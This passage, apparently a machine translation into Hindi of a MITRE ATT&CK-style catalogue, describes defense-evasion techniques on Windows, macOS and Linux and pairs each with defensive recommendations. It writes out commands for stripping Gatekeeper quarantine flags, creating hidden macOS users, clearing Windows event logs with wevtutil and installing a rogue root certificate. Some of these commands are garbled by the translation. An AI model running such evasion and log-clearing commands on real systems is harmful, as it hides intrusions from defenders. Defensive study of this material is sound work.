सिस्टम: विंडोज
राइट्स: एडमिनिस्ट्रेटर
विवरण: विंडोज प्रोग्राम को सीधे तार्किक वॉल्यूम तक पहुंचने की अनुमति दे सकता है। सीधे पहुंच वाले कार्यक्रम हार्ड ड्राइव पर सीधे फाइलों को पढ़ और लिख सकते हैं, फ़ाइल सिस्टम के डेटा संरचना का विश्लेषण कर सकते हैं। यह तरीका फाइल एक्सेस कंट्रोल और फाइल सिस्टम मॉनिटरिंग को बायपास करता है। निंजासॉपी जैसी उपयोगिताएं पावरशेल में उपरोक्त कार्यों को करने के लिए सेवा प्रदान करती हैं।

सुरक्षा सिफारिशें: संभावित खतरनाक सॉफ़्टवेयर को अवरुद्ध करना।

द्वारपाल बायपास

सिस्टम: macOS
अधिकार: उपयोगकर्ता, व्यवस्थापक
विवरण:MacOS और OS X गेटकेपर तकनीक का उपयोग करते हैं, जो केवल विश्वसनीय सॉफ़्टवेयर चलाता है। इंटरनेट से एक एप्लिकेशन डाउनलोड करते समय, फ़ाइल com.apple.quarantine में एक विशेष विशेषता सेट की जाती है, जो इंगित करता है कि गेटकीपर को डाउनलोड की गई फ़ाइल को निष्पादित करने की अनुमति के लिए उपयोगकर्ता से पूछना चाहिए। फ़ाइल को डिस्क पर सहेजने से पहले ध्वज सेट किया जाता है, फिर जब उपयोगकर्ता फ़ाइल को खोलने का प्रयास करता है, तो गेटकीपर संबंधित ध्वज की जांच करता है और यदि एक है, तो सिस्टम उपयोगकर्ता को लॉन्च की पुष्टि करने के लिए संकेत देगा और उस URL को दिखाएगा जहां से फ़ाइल डाउनलोड की गई थी। USB ड्राइव, ऑप्टिकल, बच्चों या नेटवर्क ड्राइव से सिस्टम में डाउनलोड किए गए एप्लिकेशन फ्लैग को com.apple.quarantine फ़ाइल में सेट नहीं करेंगे। कुछ उपयोगिताओं और फाइलें जो छाया बूट (ड्राइव-बाय-समझौता तकनीक) के दौरान हमला प्रणाली में मिलीं,गेटकीपर के लिए ध्वज को स्थापित करने का कारण भी नहीं है, इस प्रकार प्रॉक्सी जांच को दरकिनार करना। संगरोध ध्वज की उपस्थिति को कमांड से जांचा जा सकता है:/path/to/MyApp.app xattr ।

ध्वज को attr का उपयोग करके भी हटाया जा सकता है, लेकिन इसके लिए विशेषाधिकार वृद्धि की आवश्यकता होगी:
sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app

सुरक्षा सिफारिशें: गेटकीपर के अलावा, आपको उन अनुप्रयोगों को शुरू करने पर प्रतिबंध का उपयोग करना चाहिए जो कि डाउनलोड नहीं किए गए हैं। Apple स्टोर।

HISTCONTROL चर

सिस्टम: लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता
विवरण: उपयोगकर्ता के लॉग ऑफ होने पर HISTCONTROL पर्यावरण चर कमांड इतिहास को ~ / .bash_history फ़ाइल में सहेजने के लिए मापदंडों की एक सूची का प्रतिनिधित्व करता है। उदाहरण के लिए, इग्नोरस्पेस विकल्प इंगित करता है कि अंतरिक्ष से शुरू होने वाली लाइनों को बचाने के लिए आवश्यक नहीं है, और अनदेखा विकल्प एक पंक्ति में दोहराए जाने वाले आदेशों की बचत को अक्षम कर देगा। कुछ लिनक्स सिस्टम पर, अनदेखा विकल्प को डिफ़ॉल्ट रूप से निर्दिष्ट किया जाता है, जिसका अर्थ है उपरोक्त दो मापदंडों को शामिल करना। इसका मतलब है कि ls कमांड, ls के विपरीत, इतिहास में सहेजा नहीं जाएगा।

HISTCONTROL का उपयोग macOS पर डिफ़ॉल्ट रूप से नहीं किया जाता है, लेकिन उपयोगकर्ता द्वारा कॉन्फ़िगर किया जा सकता है। हमलावर केवल कमांड के सामने रिक्त स्थान डालकर अपनी गतिविधि के निशान नहीं छोड़ने के लिए HISTCONTROL मापदंडों की सुविधाओं का उपयोग कर सकते हैं।

सुरक्षा अनुशंसाएँ: उपयोगकर्ताओं को HISTCONTROL चर को बदलने से रोकें, और यह भी सुनिश्चित करें कि HISTCONTROL को अनदेखा करने के लिए सेट किया गया है और इसमें अनदेखा और अनदेखा विकल्प नहीं है।

छिपी हुई फाइलें और निर्देशिकाएँ

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: उपयोगकर्ता
विवरण: विंडोज पर, उपयोगकर्ता अटारी कमांड का उपयोग करके फाइलें छिपा सकते हैं। फ़ाइल को सिस्टम के रूप में चिह्नित करने के लिए फ़ाइल या "+ s" को छिपाने के लिए विशेषता + h <फ़ाइल नाम> को निर्दिष्ट करने के लिए पर्याप्त है। "/ S" पैरामीटर जोड़कर, अट्रिब उपयोगिता पुनरावर्ती रूप से परिवर्तनों को लागू करेगा। लिनक्स / मैक पर, उपयोगकर्ता फ़ाइलों और फ़ोल्डरों को एक "फ़ाइल नाम की शुरुआत में" निर्दिष्ट करके छिपा सकते हैं। उसके बाद फाइल्स और फोल्डर को फाइंडर एप्लिकेशन और जैसे कि एलएस यूटिलिटी से छिपा दिया जाएगा।

MacOS पर, फ़ाइलों को UF_HIDDEN के साथ ध्वजांकित किया जा सकता है, जो फाइंडर.एप्प में उनकी दृश्यता को अक्षम कर देगा, लेकिन छिपी हुई फ़ाइलों को Terminal.app में देखने से नहीं रोकेगा। कई एप्लिकेशन छिपी हुई फ़ाइलों और फ़ोल्डरों को बनाते हैं ताकि उपयोगकर्ता के कार्यक्षेत्र को अव्यवस्थित न करें। उदाहरण के लिए, SSH उपयोगिताओं में एक छिपा हुआ .sh फ़ोल्डर होता है जो ज्ञात होस्ट और उपयोगकर्ता कुंजी की एक सूची संग्रहीत करता है।

हमलावर फ़ाइलों और फ़ोल्डरों को छिपाने की क्षमता का उपयोग कर सकते हैं ताकि उपयोगकर्ताओं का ध्यान आकर्षित न किया जा सके।

सुरक्षा की सिफारिशें: इस तकनीक का उपयोग रोकना इस तथ्य के कारण मुश्किल है कि फाइलें छिपाना ओएस का एक मानक विशेषता है।

छिपे हुए उपयोगकर्ता

सिस्टम: macOS
राइट्स: एडमिनिस्ट्रेटर, रूट
विवरण: प्रत्येक macOS अकाउंट में एक यूजरआईडी है जिसे यूजर क्रिएशन के दौरान निर्दिष्ट किया जा सकता है। गुण /Library/Preferences/com.apple.loginwindow विकल्प होता है Hide500Users , जो खाल प्रयोक्ता आईडी 500 और नीचे लॉगिन स्क्रीन पर। इस प्रकार, एक पहचानकर्ता <500 के साथ एक उपयोगकर्ता बनाकर और Hide500User को सक्षम करके, एक हमलावर अपने खातों को छिपा सकता है:

sudo dscl। -create / उपयोगकर्ता / उपयोगकर्ता नाम UniqueID 401
sudo डिफ़ॉल्ट में /Library/Preferences/com.apple.loginwindow Hide500User -bool TRUE संरक्षण सिफारिशें लिखें

:यदि कार्य केंद्र एक डोमेन में है, तो समूह नीति उपयोगकर्ताओं को बनाने और छिपाने की क्षमता को सीमित कर सकती है। इसी तरह, /Library/Preferences/com.apple.loginwindow गुणों को संशोधित करने की क्षमता को रोका जाता है।

हिडन विंडोज

सिस्टम: macOS
राइट्स: उपयोगकर्ता
विवरण: macOS और OS X पर एप्लिकेशन लॉन्च विकल्प गुणों की फाइलों में सूचीबद्ध हैं। इन Apple.awt.UIElement फाइलों में से एक टैग में डॉक से जावा एप्लिकेशन आइकन को छिपाना शामिल है। आमतौर पर, इस टैग का उपयोग सिस्टम ट्रे में चल रहे अनुप्रयोगों के लिए किया जाता है, लेकिन हमलावर इस सुविधा का दुरुपयोग कर सकते हैं और दुर्भावनापूर्ण एप्लिकेशन छिपा सकते हैं।

संरक्षण की सिफारिशें: उन कार्यक्रमों की सूची की निगरानी करें जिनके पास plist गुणों में apple.awt.UIElement टैग है।

IFEO इंजेक्शन (छवि फ़ाइल निष्पादन विकल्प इंजेक्शन)

सिस्टम: विंडोज
राइट्स: एडमिनिस्ट्रेटर, सिस्टम
विवरण: इमेज फाइल एक्जेकशन ऑप्शंस (IFEO) तंत्र आपको प्रोग्राम के बजाय प्रोग्राम डिबगर चलाने की अनुमति देता है, जो पहले रजिस्ट्री में डेवलपर द्वारा निर्दिष्ट किया गया है:

• HKLM \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Image फ़ाइल निष्पादन विकल्प / [निष्पादन योग्य]
• HKLM \ SOFTWARE \ Wow6432Node \ Microsoft \ Windows NT \ CurrentVersion \ Image फ़ाइल निष्पादन विकल्प \ [निष्पादन योग्य] , जहां [निष्पादन योग्य] डिबगर का निष्पादन योग्य बाइनरी है।

इंजेक्शन की तरह, विशेषण को बढ़ाने या सिस्टम में पैर जमाने के लिए मनमानी कोड चलाकर मूल्य [निष्पादन योग्य] का दुरुपयोग किया जा सकता है। दुर्भावनापूर्ण प्रोग्राम IFEO का उपयोग डिबगर्स को पंजीकृत करके सुरक्षा को बायपास करने के लिए कर सकते हैं जो विभिन्न सिस्टम और सुरक्षा अनुप्रयोगों को रीडायरेक्ट और अस्वीकार करते हैं।

सुरक्षा सिफारिशें: वर्णित तकनीक नियमित रूप से ओएस विकास उपकरण के दुरुपयोग पर आधारित है, इसलिए किसी भी प्रतिबंध से वैध सॉफ़्टवेयर की अस्थिरता हो सकती है, उदाहरण के लिए, सुरक्षा अनुप्रयोग। IFEO इंजेक्शन तकनीकों के उपयोग को रोकने के प्रयासों को हमले श्रृंखला के पहले चरणों पर ध्यान केंद्रित करने की आवश्यकता है। आप Debug_process और के साथ प्रक्रियाओं की निगरानी करके इस तरह के हमले का पता लगा सकते हैंDebug_only_this_process ।

संकेतक अवरुद्ध करना

सिस्टम: विंडोज
विवरण: हमलावर आगे के विश्लेषण के लिए सुरक्षा उपकरणों द्वारा कैप्चर किए गए विभिन्न संकेतकों या घटनाओं को ब्लॉक करने का प्रयास कर सकते हैं। दुर्भावनापूर्ण गतिविधि में सुरक्षा कॉन्फ़िगरेशन फ़ाइलें, रजिस्ट्री कुंजियाँ, या दुर्भावनापूर्ण रूप से टेलीमेट्री ईवेंट्स को संशोधित करना शामिल हो सकता है।

नेटवर्क गतिविधि विश्लेषण उपकरण के साथ काम करते समय, एक हमलावर सुरक्षा प्रबंधन सर्वर को रिपोर्ट भेजने से जुड़े यातायात को अवरुद्ध कर सकता है। यह कई तरीकों से किया जा सकता है, उदाहरण के लिए, टेलीमेट्री को प्रसारित करने के लिए जिम्मेदार स्थानीय प्रक्रिया को रोककर, सुरक्षा घटनाओं को एकत्र करने के लिए जिम्मेदार मेजबानों को यातायात को अवरुद्ध करने के लिए फ़ायरवॉल में एक नियम बनाना।

सुरक्षा सिफारिशें:सुनिश्चित करें कि ट्रेसर और ईवेंट प्रेषक, फ़ायरवॉल नीतियाँ और अन्य संबंधित तंत्र उपयुक्त अनुमतियों और पहुँच नियंत्रण द्वारा सुरक्षित हैं। बार-बार अंतराल पर सुरक्षा घटना अग्रेषण सुविधा को पुनरारंभ करने पर विचार करें, साथ ही फ़ायरवॉल नियमों और अन्य सिस्टम कॉन्फ़िगरेशन के लिए उपयुक्त परिवर्तन प्रबंधन को लागू करने की क्षमता।

दुर्भावनापूर्ण टूल से संकेतक हटाना (टूल्स से संकेतक हटाना)

प्रणाली: विंडोज, लिनक्स, macOS
विवरण:यदि कोई दुर्भावनापूर्ण एप्लिकेशन संगरोधित या अन्यथा अवरुद्ध है, तो हमलावर अपने टूल (संकेतक) का पता लगाने का कारण निर्धारित कर सकता है, इससे संकेतक को हटाकर टूल को बदल सकता है, और मैलवेयर के एक अद्यतन संस्करण का उपयोग कर सकता है जो सुरक्षात्मक साधनों द्वारा पता नहीं लगाया जाएगा। एक अच्छा उदाहरण एक चेकसम या फ़ाइल हस्ताक्षर का उपयोग करके मैलवेयर का पता लगाने और एंटीवायरस सॉफ़्टवेयर के साथ उन्हें संगरोध करना है। एक हमलावर जो निर्धारित करता है कि एंटीवायरस सॉफ़्टवेयर द्वारा एक मैलवेयर को अलग कर दिया गया है क्योंकि उसके हस्ताक्षर / चेकसम में सॉफ़्टवेयर पैकेजिंग तकनीकों या फ़ाइल को संशोधित करने के अन्य तरीकों का उपयोग करके हस्ताक्षर या चेकसम को बदला जा सकता है और फिर इस मैलवेयर का पुन: उपयोग किया जा सकता है।

सुरक्षा सिफारिशें:विरोधी के पास सिस्टम तक पहुंच हो सकती है और यह जान सकता है कि निवासी सुरक्षा द्वारा कौन से तरीके और उपकरण अवरुद्ध हैं। सुरक्षा और सुरक्षा सुविधाओं को स्थापित करने के उन्नत तरीकों का उपयोग करें, संभावित घुसपैठ के बारे में चेतावनी की प्रक्रिया को व्यवस्थित करने के लिए संरक्षित प्रणाली के संभावित समझौते की प्रक्रिया का पता लगाएं।

AppLocker और सॉफ़्टवेयर प्रतिबंध नीतियों जैसे श्वेतसूची साधनों का उपयोग करके संभावित रूप से खतरनाक और दुर्भावनापूर्ण सॉफ़्टवेयर को पहचानें और ब्लॉक करें।

दुर्भावनापूर्ण उपकरण का पहला पता एंटी-वायरस सिस्टम या अन्य सुरक्षा उपकरण के लिए चेतावनी ट्रिगर कर सकता है। इस तरह की घटनाएं परिधि में हो सकती हैं और आईडीएस प्रणाली, मेल स्कैनिंग आदि का उपयोग करके इसका पता लगाया जा सकता है। प्रारंभिक पहचान को आक्रमण की शुरुआत का संकेत माना जाना चाहिए, जिसे प्रारंभिक घटना के "स्थान" के बाहर सावधानीपूर्वक जांच की आवश्यकता होती है। हमलावर हमले को जारी रख सकते हैं, यह मानते हुए कि कुछ एंटी-वायरस सॉफ़्टवेयर घटनाओं की जांच नहीं की जाएगी या यह कि विश्लेषक नेटवर्क पर होने वाली अन्य गतिविधि के साथ पंजीकृत घटना को स्थायी रूप से संबद्ध करने में सक्षम नहीं होंगे।

मेजबान से संकेतक हटाना (मेजबान पर संकेतक हटाना)

सिस्टम: विंडोज, लिनक्स, मैकओएस
विवरण: हमलावर हमले प्रणाली में उत्पन्न कलाकृतियों को हटा सकते हैं या संशोधित कर सकते हैं, जिसमें लॉग और इंटरसेप्टेड फाइलें शामिल हैं। लॉग के स्थान और प्रारूप ओएस के आधार पर भिन्न हो सकते हैं, सिस्टम लॉग को विंडोज इवेंट या लिनक्स / मैकओएस फाइलों जैसे /.bash_history और .var / log / * के रूप में दर्ज किया जाता है।

लक्षित क्रियाएं जो घटना संग्रह और चेतावनी तंत्र के संचालन में हस्तक्षेप करती हैं जिनका उपयोग घुसपैठ का पता लगाने के लिए किया जा सकता है, सुरक्षा साधनों से समझौता कर सकते हैं, जिसके परिणामस्वरूप सुरक्षा घटनाओं का विश्लेषण नहीं किया जाएगा। इस तरह की कार्रवाइयाँ अव्यवस्था पर डेटा की कमी के कारण परीक्षा और प्रतिक्रिया प्रक्रिया को जटिल बना सकती हैं।

Windows इवेंट लॉग्स साफ़ करना Windows इवेंट लॉग
अलर्ट और नोटिफिकेशन और सिस्टम ऑपरेशन का रिकॉर्ड है। Microsoft इस घटना को "किसी सिस्टम या प्रोग्राम में किसी महत्वपूर्ण घटना के रूप में परिभाषित करता है जिसके लिए उपयोगकर्ताओं या लॉगिंग को सूचना की आवश्यकता होती है।" घटनाओं के तीन सिस्टम स्रोत हैं: सिस्टम, एप्लिकेशन और सुरक्षा।
खाता प्रबंधन, किसी खाते में प्रवेश करने, निर्देशिका सेवाओं तक पहुंच आदि से संबंधित कार्रवाई करने वाले विरोधियों अपने कार्यों को छिपाने के लिए ईवेंट लॉग को साफ़ कर सकते हैं।
इवेंट लॉग को निम्न कंसोल उपयोगिताओं से साफ किया जा सकता है:
wevtutil cl system;
wevtutil सीएल आवेदन;
wevtutil सीएल सुरक्षा।
PowerShell जैसे अन्य टूल का उपयोग करके लॉग को भी साफ़ किया जा सकता है।

सुरक्षा सिफारिशें: इवेंट लॉग के केंद्रीकृत भंडारण का उपयोग करें ताकि स्थानीय मशीन पर इवेंट लॉग को देखना और प्रबंधित करना संभव न हो। यदि संभव हो, तो स्थानीय सिस्टम पर दीर्घकालिक लॉग स्टोरेज से बचने के लिए घटनाओं की रिपोर्टिंग करते समय समय की देरी को कम करें। उचित अनुमतियों और प्रमाणीकरण के साथ स्थानीय रूप से संग्रहीत ईवेंट की लॉग फ़ाइलों को सुरक्षित रखें, विशेषाधिकारों की क्षमता को विशेषाधिकारों को बढ़ाने के लिए प्रतिबंधित करें। स्थानीय स्तर पर और स्थानांतरण के दौरान लॉग फ़ाइलों को बाधित और एन्क्रिप्ट करने के लिए टूल का उपयोग करें। इवेंट 1102 के लिए लॉग की निगरानी करें: "ऑडिट लॉग हटा दिया गया है।"

अप्रत्यक्ष कमांड निष्पादन

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: विभिन्न विंडोज उपयोगिताओं का उपयोग कमांड निष्पादित करने के लिए किया जा सकता है, संभवतः सीएमडी को लागू किए बिना। उदाहरण के लिए, Forfiles, प्रोग्राम संगतता सहायक (pcalua.exe), लिनक्स (WSL) के लिए विंडोज सबसिस्टम के घटक, साथ ही साथ अन्य उपयोगिताओं, कमांड लाइन इंटरफ़ेस, रन विंडो, या स्क्रिप्ट के माध्यम से प्रोग्राम और कमांड निष्पादित कर सकते हैं।

हमलावर सुरक्षा उपकरणों को बाईपास करने के लिए उपर्युक्त उपयोगिताओं का दुरुपयोग कर सकते हैं, विशेष रूप से मनमानी फ़ाइल लॉन्च के लिए जब तक कि उनकी गतिविधि का पता नहीं लगाया जाता है या विभिन्न माध्यमों से अवरुद्ध किया जाता है, उदाहरण के लिए, सीएमडी के उपयोग को प्रतिबंधित करने वाली समूह नीतियों का उपयोग करना।

सुरक्षा सिफारिशें:AppLocker और सॉफ़्टवेयर प्रतिबंध नीतियों का उपयोग करके संभावित रूप से खतरनाक और दुर्भावनापूर्ण सॉफ़्टवेयर को पहचानें और ब्लॉक करें। इन तंत्रों का उपयोग उपयोगकर्ता पहुंच को निष्क्रिय करने या प्रतिबंधित करने के लिए किया जा सकता है जो कि अप्रत्यक्ष रूप से आदेशों को निष्पादित करने के लिए उपयोग किया जा सकता है।

रूट प्रमाणपत्र स्थापित करें

सिस्टम: विंडोज, लिनक्स, मैकओएस
अधिकार: व्यवस्थापक, उपयोगकर्ता
विवरण: एक प्रमाणन प्राधिकरण (CA) की पहचान करने के लिए रूट प्रमाणपत्र का उपयोग किया जाता है। जब रूट प्रमाणपत्र स्थापित किया जाता है, तो सिस्टम और एप्लिकेशन रूट प्रमाणपत्र श्रृंखला के सभी प्रमाणपत्रों पर भरोसा करेंगे। प्रमाण पत्र आमतौर पर एक वेब ब्राउज़र में सुरक्षित टीएलएस / एसएसएल कनेक्शन स्थापित करने के लिए उपयोग किया जाता है। यदि कोई उपयोगकर्ता एक साइट खोलने की कोशिश करता है जिस पर एक अविश्वास प्रमाण पत्र प्रस्तुत किया जाता है, तो एक त्रुटि संदेश दिखाई देगा जो उपयोगकर्ता को सुरक्षा जोखिम के बारे में चेतावनी देता है। सुरक्षा सेटिंग्स के आधार पर, ब्राउज़र अविश्वसनीय साइटों पर कनेक्शन को प्रतिबंधित कर सकता है।

एक हमले प्रणाली में रूट प्रमाणपत्र स्थापित करने से एक हमलावर को सिस्टम सुरक्षा के समग्र स्तर को कम करने की अनुमति मिलती है। हमलावर सुरक्षा चेतावनियों को छिपाने के लिए इस पद्धति का उपयोग कर सकते हैं, जिसके परिणामस्वरूप उपयोगकर्ता अपनी साख को चुराने के लिए HTTPS के माध्यम से दुश्मन नियंत्रित वेब सर्वर से जुड़ जाएगा।
एक्सट्रूज़न रूट प्रमाण पत्र सॉफ़्टवेयर निर्माता द्वारा या तो सॉफ़्टवेयर आपूर्ति श्रृंखला के दौरान पहले से इंस्टॉल किए जा सकते हैं और मैलवेयर और एडवेयर के साथ संयोजन में उपयोग किए जाते हैं, या सुरक्षित टीएलएस / एसएसएल कनेक्शन पर प्रेषित जानकारी को इंटरसेप्ट करने के लिए "मध्य-व्यक्ति" हमले प्रदान करते हैं।
रूट सर्टिफिकेट को क्लोन और रीइंस्टॉल भी किया जा सकता है। इस तरह की प्रमाणपत्र श्रृंखलाओं का उपयोग दुर्भावनापूर्ण कोड पर हस्ताक्षर करने के लिए किया जा सकता है ताकि घुसपैठ को रोकने और पता लगाने के लिए उपयोग किए गए हस्ताक्षर सत्यापन उपकरण को बायपास किया जा सके।

MacOS पर, अय MaMi मालवेयर कमांड / usr / bin / सुरक्षा ऐड-ट्रस्ट-प्रमाणित -d -R TrustRoot -k / Library / Keychains / System / Keychain पथ / to / malicious / cert का उपयोग करता है, ताकि प्रमाणपत्र को एक विश्वसनीय रूट प्रमाणपत्र के रूप में सेट किया जा सके। सिस्टम श्रृंखला।

सुरक्षा अनुशंसाएँ: HTTP सार्वजनिक कुंजी पिनिंग (HPKP) प्रमाणपत्र श्रृंखला के हमलों से बचाव का एक तरीका है। एचपीकेपी मानता है कि सर्वर क्लाइंट को सार्वजनिक कुंजी हैश का एक सेट बताता है, जो कि एक निश्चित समय के लिए इस सर्वर से कनेक्ट होने पर एकमात्र विश्वसनीय होना चाहिए।

Windows समूह नीति का उपयोग रूट प्रमाणपत्रों को प्रबंधित करने और गैर-व्यवस्थापकों को उपयोगकर्ता रिपॉजिटरी (HKC) में अतिरिक्त रूट प्रमाणपत्र स्थापित करने से रोकने के लिए किया जा सकता है:

HKEY_LOCAL_MACHINE \ SOFTWARE \ नीतियां \ Microsoft \ SystemCertports \ Root \ ProtectedRoots \ Flags = 1।

सिस्टम के रूट प्रमाणपत्र अक्सर बदलने की संभावना नहीं है, इसलिए, नए प्रमाणपत्रों की निगरानी के दौरान कोई भी दुर्भावनापूर्ण गतिविधि का पता लगा सकता है या सुनिश्चित कर सकता है कि कोई अनावश्यक या संदिग्ध प्रमाण पत्र नहीं है। Microsoft ऑक्टेरोट.स्टल के माध्यम से विश्वसनीय रूट प्रमाणपत्रों की एक सूची प्रदान करता है। Sysinternals Sigcheck उपयोगिता का उपयोग सर्टिफिकेट स्टोर (Sigcheck [64] .exe -tuv) की सामग्री को डंप करने और Microsoft प्रमाणपत्र ट्रस्ट सूची में शामिल प्रमाणपत्रों की पहचान करने के लिए किया जा सकता है।

स्थापित रूट प्रमाणपत्र निम्नलिखित अनुभागों में रजिस्ट्री में स्थित हैं:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ एंटरप्राइज़ प्रमाणपत्र \ रूट \ प्रमाण पत्र
HKEY_LOCAL_MACHINE [HKEY_CURRENT_USER] \ SOFTWARE [\ नीतियां] \ Microsoft \ SystemCertports \ Root \ प्रमाण पत्र

रूट प्रमाणपत्र का एक सबसेट है जो विंडोज सिस्टम में लगातार उपयोग किया जाता है जिसे निगरानी के लिए उपयोग किया जा सकता है:

• 18F7C1FCC3090203FD5BAA2F861A754976C8DD25;
• 245C97DF7514E7CF2DF8BE72AE957B9E04741E85;
• 3B1EFD3A66EA28B16697394703A72CA340A05BD5;
• 7F88CD7223F3C813818C994614A89C99FA3B5247;
• 8F43288AD272F3103B6FB1428485EA3014C0BCFE;
• A43489159A520F0D93D032CCAF37E7FE20A8B419;
• BE36A4562FB2EE05DBB3D32323ADF445084ED656;
• CDD4EEAE6000AC7F40C3802C171E30148030C072

InstallUtil

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता
विवरण: InstallUtil एक विंडोज कमांड-लाइन उपयोगिता है जो .NET फ्रेमवर्क विनिर्देशों के अनुरूप अनुप्रयोगों को स्थापित और अनइंस्टॉल कर सकता है। Installutil स्वचालित रूप से VisualStudio के साथ स्थापित किया गया है। InstallUtil.exe फ़ाइल Microsoft प्रमाणपत्र द्वारा हस्ताक्षरित है और इसमें संग्रहीत है:

C: \ Windows \ Microsoft.NET \ Framework \ v [संस्करण] \ InstallUtil.exe

हमलावर InstallUtil कार्यक्षमता का उपयोग प्रॉक्सी कोड निष्पादन और अनुप्रयोग श्वेतसूची को बायपास करने के लिए कर सकते हैं।

सुरक्षा सिफारिशें: यह संभव है कि आपके सिस्टम पर इंस्टाल यूटील का प्रयोग न किया जाए, इसलिए इंस्टालयूटिल की स्थापना को रोकें।

LC_MAIN अपहरण

प्रणाली: macOS
अधिकार: उपयोगकर्ता, प्रशासक
विवरण: OS X 10.8 से शुरू होकर, LC_MAIN हैडर को mach-O निष्पादक में शामिल किया गया है, जो इसे निष्पादित करने के लिए बाइनरी कोड के प्रवेश बिंदु को इंगित करता है। पहले के संस्करणों में, दो LC_THREAD और LC_UNIXTHREAD हेडर का उपयोग किया गया था। बाइनरी के लिए प्रवेश बिंदु को संशोधित किया जा सकता है और दुर्भावनापूर्ण जोड़ शुरू में किया जाएगा, और फिर निष्पादन प्रारंभिक बिंदु पर वापस आ जाएगा ताकि पीड़ित को कुछ भी नोटिस न हो। द्विआधारी फ़ाइलों का ऐसा संशोधन अनुप्रयोगों की श्वेत सूची को बायपास करने का एक तरीका है, क्योंकि फ़ाइल का नाम और अनुप्रयोग के लिए पथ अपरिवर्तित रहेगा।

सुरक्षा सिफारिशें: उन अनुप्रयोगों का उपयोग करें जिनमें विश्वसनीय डेवलपर्स से केवल वैध डिजिटल हस्ताक्षर हैं। LC_MAIN हेडर को संशोधित करना फ़ाइल हस्ताक्षर को अमान्य कर देगा और फ़ाइल के चेकसम को बदल देगा।

Launchctl

प्रणाली: macOS
अधिकार: उपयोगकर्ता, प्रशासक
विवरण: Launchctl - लॉन्च सेवा के प्रबंधन के लिए एक उपयोगिता। Launchctl का उपयोग करके, आप सिस्टम और उपयोगकर्ता सेवाओं (LaunchDeamons और LaunchAgents) का प्रबंधन कर सकते हैं, साथ ही कमांड और प्रोग्राम निष्पादित कर सकते हैं। Launchctl कमांड लाइन उपकमांड का समर्थन करता है, मानक इनपुट से इंटरैक्टिव या पुनर्निर्देशित:

launchctl submit -l [labelname] - / path / to / thing / to / execute '' arg "'arg"' 'arg " ।

सेवाओं और डेमों को शुरू करने और फिर से शुरू करने से, हमलावर कोड निष्पादित कर सकते हैं और यहां तक ​​कि श्वेतसूची को भी बायपास कर सकते हैं यदि लॉन्चर एक अधिकृत प्रक्रिया है, हालांकि सेवाओं और डेमों को लोड करने, उतारने और फिर से शुरू करने के लिए उन्नत विशेषाधिकार की आवश्यकता हो सकती है।

सुरक्षा सिफारिशें: लॉन्च एजेंट बनाने के लिए उपयोगकर्ता अधिकारों को सीमित करना और समूह नीति का उपयोग करके लॉन्च डीमन लॉन्च करना। नॉककॉक ऐप का उपयोग करके, आप लॉन्च एजेंटों और लॉन्च डेमोंस को प्रबंधित करने के लिए लॉन्चक्टल का उपयोग करने वाले कार्यक्रमों की खोज कर सकते हैं।

मुखौटा धारण कर लिया (मुखौटा धारण कर लिया)

सिस्टम: विंडोज, लिनक्स, मैकओएस
विवरण: जब किसी निष्पादन योग्य फ़ाइल का नाम या स्थान, कानूनी या दुर्भावनापूर्ण होता है, तो संदेश पहुंचाना सुरक्षा को रोकने के लिए विभिन्न जोड़तोड़ और गालियों के अधीन होता है। कई मस्काराडिंग विकल्प ज्ञात हैं।
एक विकल्प निष्पादन योग्य के लिए आम तौर पर स्वीकृत निर्देशिका में रखा जाता है या एक वैध, विश्वसनीय कार्यक्रम का नाम दिया जाता है। फ़ाइल का नाम किसी वैध प्रोग्राम के नाम के समान हो सकता है। मास्किंग की इस पद्धति का उपयोग उन उपकरणों को बायपास करने के लिए किया जाता है जो फ़ाइल के नाम या पथ के साथ-साथ सिस्टम प्रशासकों को धोखा देने के लिए फाइलों पर भरोसा करते हैं।

विंडोज
अधिकतम करने का दूसरा तरीका एक हमलावर के लिए एक वैध उपयोगिता की संशोधित प्रतिलिपि का उपयोग करना है, जैसे कि rundll32.exe। इस मामले में, गैर-मानक स्थानों से सिस्टम उपयोगिताओं के लॉन्च की निगरानी के आधार पर पहचान से बचने के लिए एक वैध उपयोगिता को दूसरी निर्देशिका में ले जाया जा सकता है और इसका नाम बदला जा सकता है।
Windows में विश्वसनीय निर्देशिकाओं के दुरुपयोग का एक उदाहरण C: \ Windows \ System32 निर्देशिका है। विश्वसनीय सिस्टम उपयोगिताओं के नाम जैसे explorer.exe या svchost.exe को दुर्भावनापूर्ण बायनेरिज़ को सौंपा जा सकता है।

लिनक्स
मास्किंग की अगली विधि दुर्भावनापूर्ण बाइनरी फ़ाइलों का उपयोग करना है, जो शुरू करने के बाद, उनकी प्रक्रिया का नाम एक वैध, विश्वसनीय प्रक्रिया के नाम में बदल देते हैं। लिनक्स पर एक विश्वसनीय निर्देशिका का एक उदाहरण / बिन निर्देशिका है, और rsyncd या dbus-inotifier जैसे नामों पर विश्वसनीय नाम हो सकते हैं।

सुरक्षा सिफारिशें: विभिन्न सुरक्षा नियम बनाते समय, फ़ाइल के नाम और पथ के आधार पर अपवाद से बचें। बाइनरी फाइलों पर हस्ताक्षर करने की आवश्यकता है। विश्वसनीय निर्देशिकाओं की सुरक्षा के लिए फ़ाइल सिस्टम एक्सेस कंट्रोल का उपयोग करें, जैसे कि C: \ Windows \ System32। नाम या फ़ाइल पथ के आधार पर कार्यक्रमों के निष्पादन को प्रतिबंधित करने के लिए उपकरणों का उपयोग न करें।

संभावित खतरनाक और दुर्भावनापूर्ण सॉफ़्टवेयर को पहचानें और ब्लॉक करें जो एक वैध कार्यक्रम की तरह लग सकता है।

रजिस्ट्री को संशोधित करें

सिस्टम: विंडोज
अधिकार: उपयोगकर्ता, व्यवस्थापक, प्रणाली
विवरण: हमलावर रजिस्ट्री कुंजियों में जानकारी छिपाने या आक्रमण के निशान की सफाई के दौरान या हमले के अन्य चरणों में जानकारी को हटाने के लिए रजिस्ट्री को संशोधित कर सकते हैं।

